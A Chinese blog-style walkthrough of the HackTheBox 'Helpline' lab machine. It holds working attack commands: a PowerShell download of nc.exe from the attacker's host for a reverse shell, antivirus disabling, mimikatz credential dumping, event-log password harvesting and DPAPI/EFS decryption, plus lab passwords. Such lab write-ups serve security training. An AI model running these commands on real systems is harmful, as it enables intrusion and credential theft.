本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
大家好,这里是 大余安全 的第 86 篇文章,本公众号会每日分享攻防渗透技术给大家。
靶机地址:https://www.hackthebox.eu/home/machines/profile/180
靶机难度:高级(4.3/10)
靶机发布日期:2019 年 11 月 13 日
靶机描述:
Helpline is a hard difficulty windows box which needs a good amount of enumeration at each stage. A ServiceDesk web application is found to be vulnerable to XXE exposing sensitive data which gives a foothold. There are hashes on the PostgreSQL database which can be cracked to gain access to a user who can read Windows Event Logs. These logs contain user credentials and can be used to move laterally. Enumeration of the file system reveals a script vulnerable to command injection, which allow for code execution in the context of another user. The local Administrator credentials are then found in the form of powershell securestring.
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用 Kali Linux 作为解决该 HTB 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
可以看到靶机的 IP 是 10.10.10.132....
nmap 发现 SMB 在 445 上打开着,而 WinRM 在端口 5985 上打开着,端口 8080 上运行着一个 Web 应用程序...
浏览 8080 端口,我们找到一个 ServiceDesk Plus(SDP)应用程序...
尝试用默认账号登陆,成功登陆...guest
这个用户的权限很低...
针对 ServiceDesk Plus 在 kali 进行搜索能利用的 exp 有哪些... 可以看到很多,我尝试了几种方法...
这里有几种方法都能成功...
方法 1:
利用 35891.txt
这是利用默认密码 guest 用户的用户枚举漏洞...GO
将 / mc/jsp/MCD... 删除,然后访问后即可重定向到 administrator 管理界面...
可看到已进入管理界面...
里面的意思是:可以定义规则以自动调用任何自定义类或脚本文件,在创建、接收或编辑请求时,可以将操作规则应用于该请求...
这里调用 shell 命令,然后创建请求触发即可...
powershell -command Invoke-WebRequest http://10.10.14.51/nc.exe -OutFile C:\Windows\System32\spool\drivers\color\nc.exe
这里利用 powershell 上传 nc 执行反向 shell 命令即可...
成功创建好触发器...
然后回到 Request 创建请求触发,成功 python 服务器上传 nc...
同理,重新创建 nc 触发器,简单一句话反弹 shell,可以看到成功获得了 system 外壳...
方法 2:
这是 9.3 的版本,通过 exp 查找 10 版本前都存在 46659(CVE-2019-10008)漏洞...
修改需要访问的 IP...
F12 修改 cookie 或者利用插件修改也行...
修改完后,刷新下界面重定向到了 administrator 管理员界面...
同理方法 1,这里利用了 nishang 的 tcp.ps1 获取饭箱外壳...
成功获取...
这里应该还有多种漏洞可以进去... 例如 42037
二、提权
获取 root 和 user 信息...
可看到使用 system 最高权限也无法读取 user.txt 和 root.tx,通过发现它们都经过 EFS 加密。需要该帐户的明文密码才能恢复主密钥并解密这些文件...
这里利用 mimikatz 工具进行提取密匙...
mimikatz 是用来学习 Windows 安全实验的工具.... 可以从内存中提取纯文本密码,哈希,PIN 码和 kerberos 凭证等等...mimikatz 还可以执行哈希传递,凭证传递或构建 Golden 凭证...
https://github.com/gentilkiwi/mimikatz -- 下载地址
这里开了防病毒模块,禁用了即可,前面运行的时候无法运行发现的...
https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200308
下载好后开启服务上传即可...
成功上传...
检查可以正常运行...
.\mimikatz.exe "lsadump::sam" "exit"
通过 mimikatz 查询到了所有日志文件里的哈希值...
这里只有 zachary:eef285f4c800bcd1ae1e84c371eeb282 可以破解 NTLM 值...0987654321
上传 ps1 需要用于查询密匙...
https://github.com/RamblingCookieMonster/PowerShell/blob/master/Get-WinEventData.ps1
Get-WinEvent -FilterHashtable @{Logname='security';id=4688} -MaxEvents 1 | Get-WinEventData | fl *
这里找到了所有命令行信息...
Get-WinEvent -FilterHashtable @{Logname='security';id=4688} | Get-WinEventData | Select TimeCreated, e_CommandLine | ft -autosize -wrap
通过 e_CommandLine 命令行查找到了所有命令行的日志记录... 其中包含了敲打过的密码...
可以看到 tolu 在 Remote Management Users 本地组中...
这里利用密码使用 tolu 登陆查看 user 信息,还是无法查看...
这里 google 发现
[EFS](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files)
解密思路... 参考
User.txt 获取
方法 1:
请参考上面链接方法进行!
第一步:获取证书
.\mimikatz.exe "crypto::system /file:C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\91EF5D08D1F7C60AA0E4CEE73E050639A6692F29 /export" "exit"
通过 mimikatz 获得了 certificate...
第二步:解密万能密匙
.\mimikatz.exe "dpapi::masterkey /in:C:\users\tolu\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-1011\2f452fc5-c6d2-4706-a4f7-1cd6b891c017 /password:!zaq1234567890pl!99" "exit"
这里获得了 key 和 sha1,两者都可以利用,用其一即可...
第三步:解密密匙
.\mimikatz.exe "dpapi::capi /in:C:\users\tolu\AppData\Roaming\Microsoft\Crypto\rsa\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85 /masterkey:8ece5985210c26ecf3dd9c53a38fc58478100ccb" "exit"
利用 dpapi::capi 在文件中获得了私钥,并通过 smb 共享文件到本地...
第四步:建立正确的 PFX
openssl x509 -inform DER -outform PEM -in 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der -out public.pem
openssl rsa -inform PVK -outform PEM -in dpapi_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.keyx.rsa.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
利用 OpenSSL1 版本建立 PFX
第五步:安装 PFX
certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot
利用 mimikatz 成功获得 user 信息...
方法 2:
这里也可以使用 Invoke-Command 读取到 user 信息...
$username = "Helpline\tolu"
$password = "!zaq1234567890pl!99"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-Command -ComputerName HELPLINE -Credential $credential -Authentication credssp -ScriptBlock { type C:\Users\tolu\Desktop\user.txt }
成功获得 user 信息...
root.txt 获取
这里和 user 获取方法一样,首先需要获得管理员的密码才能进行...
在 leo 用户下找到 pass 文件,密码应该在里面,又加密了,利用共享和别的方式都无法下载...
需求是能够阅读他,发现内容密码即可...
这里我利用了 MSF 尝试模拟 leo 令牌去阅读内容...
成功读取内容,这里也可以通过登陆到 leo 用户去查看也可以查看到内容...
https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text
利用上面链接方法,在 powershell 中加载获取密匙...
成功获得了 administrator 的密匙...
下面开始按照 user 方法 1 开始同理获得信息即可...
和 user 方法 1 一样,利用 EFS 方法,获得了 root 信息... 这里就不多讲解了...
和 user 方法 2 一样,利用 powershell 的 Invoke-Command 中 Get-Content 读取 admin-pass.xml 然后查看到了 root 信息...
后面开始按照日常更新把,多学多累积
由于我们已经成功得到 root 权限查看 user.txt 和 root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~
随缘收徒中~~ 随缘收徒中~~ 随缘收徒中~~
欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!
大余安全
一个全栈渗透小技巧的公众号